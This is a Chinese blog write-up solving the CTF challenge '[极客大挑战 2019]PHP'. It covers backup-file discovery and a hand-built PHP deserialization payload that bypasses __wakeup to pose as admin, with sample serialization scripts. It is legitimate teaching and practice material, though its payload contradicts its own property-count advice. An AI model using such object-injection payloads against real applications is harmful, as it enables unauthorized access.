[极客大挑战 2019]PHP 1

一进去 我一看

很强的前端页面 可惜是老外做的

 已经提示了 存在网站备份文件 然后我就开始找了 

.git .svn .DS_store  .hg 都不存在泄露 

找 .index.php.swp  index.php.bak  也不存在

不找了 开始 目录扫描  dirsearch 

扫了 没找到

换个  用 dirmap

找到了

 www.zip 很敏感 一看就知道是备份

 访问后下载

可以看到 所有源码

尝试提交 失败  因为这是个假的flag

查看网页 源码

发现 包含 class.php

再看 class.php

存在2个敏感函数 _wake() 和  _destruct()

_wake()函数意味着我们要构造的变量数大于原来的变量 

_destruct()函数相当于 给了我们构造要满足的条件  

这里 需要满足 username=admin  password=100

还需知道的致死点为  :

public 权限变量 构造 序列化  可 直接 s:8:"username";s:5:"admin" 这样 

而 protected 权限变量   需要  s:11:"%00*%00username";s:5:"admin";

private 权限变量 需要 s:14:"%00Name%00username";s:5:"admin";

一般 自己多用 serialize函数 就能了解 序列化字符串 是怎么构造的

构造可以分为 php 脚本自动构造  和手工构造 

这里 我直接手工  不是很难的 一般都是手工

payload:     O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

注意 index.php 里面写了用 select进行传参
所以 index.php?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

实验 

O 为类的对象  一般表示类名

这里为Name

 构造的变量数只要大于2就好  因为你之前构造好的 变量就是 2  分别为username  和 password  这里大于二主要是为了 绕 _wake()

测试结果:

protected修饰变量,运行后回显代码内注释内容

  1.  
    <?php
  2.  
    class Name{
  3.  
    protected $username = 'nonono';看这两行
  4.  
    protected $password = 'yesyes';
  5.  
     
  6.  
    public function __construct($username,$password){
  7.  
    $this->username = $username;
  8.  
    $this->password = $password;
  9.  
    }
  10.  
    }
  11.  
     
  12.  
    $a = new Name('admin',100);
  13.  
    $b=serialize($a);
  14.  
    echo $b;
  15.  
    //看这看这看这看这!!!!!!!!!
  16.  
    //运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
  17.  
    ?>

public修饰变量,运行后回显代码内注释内容

  1.  
    <?php
  2.  
    class Name{
  3.  
    public $username = 'nonono';
  4.  
    public $password = 'yesyes';
  5.  
     
  6.  
    public function __construct($username,$password){
  7.  
    $this->username = $username;
  8.  
    $this->password = $password;
  9.  
    }
  10.  
    }
  11.  
     
  12.  
    $a = new Name('admin',100);
  13.  
    $b=serialize($a);
  14.  
    echo $b;
  15.  
    //O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
  16.  
    ?>

 private修饰变量,运行后回显代码内注释内容

  1.  
    <?php
  2.  
    class Name{
  3.  
    private $username = 'nonono';
  4.  
    private $password = 'yesyes';
  5.  
     
  6.  
    public function __construct($username,$password){
  7.  
    $this->username = $username;
  8.  
    $this->password = $password;
  9.  
    }
  10.  
    }
  11.  
     
  12.  
    $a = new Name('admin',100);
  13.  
    $b=serialize($a);
  14.  
    echo $b;
  15.  
    //O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
  16.  
    ?>

 序列化的字符串 以 空白隔开  反序列化可用%00代替 或者 \0

这里 \0有点问题 

over-------------------+

欢迎关注我的私人博客: https://arg1nt.gitee.io/2021/03/01/go/#more
原文地址:https://www.cnblogs.com/Arg1nt/p/14119876.html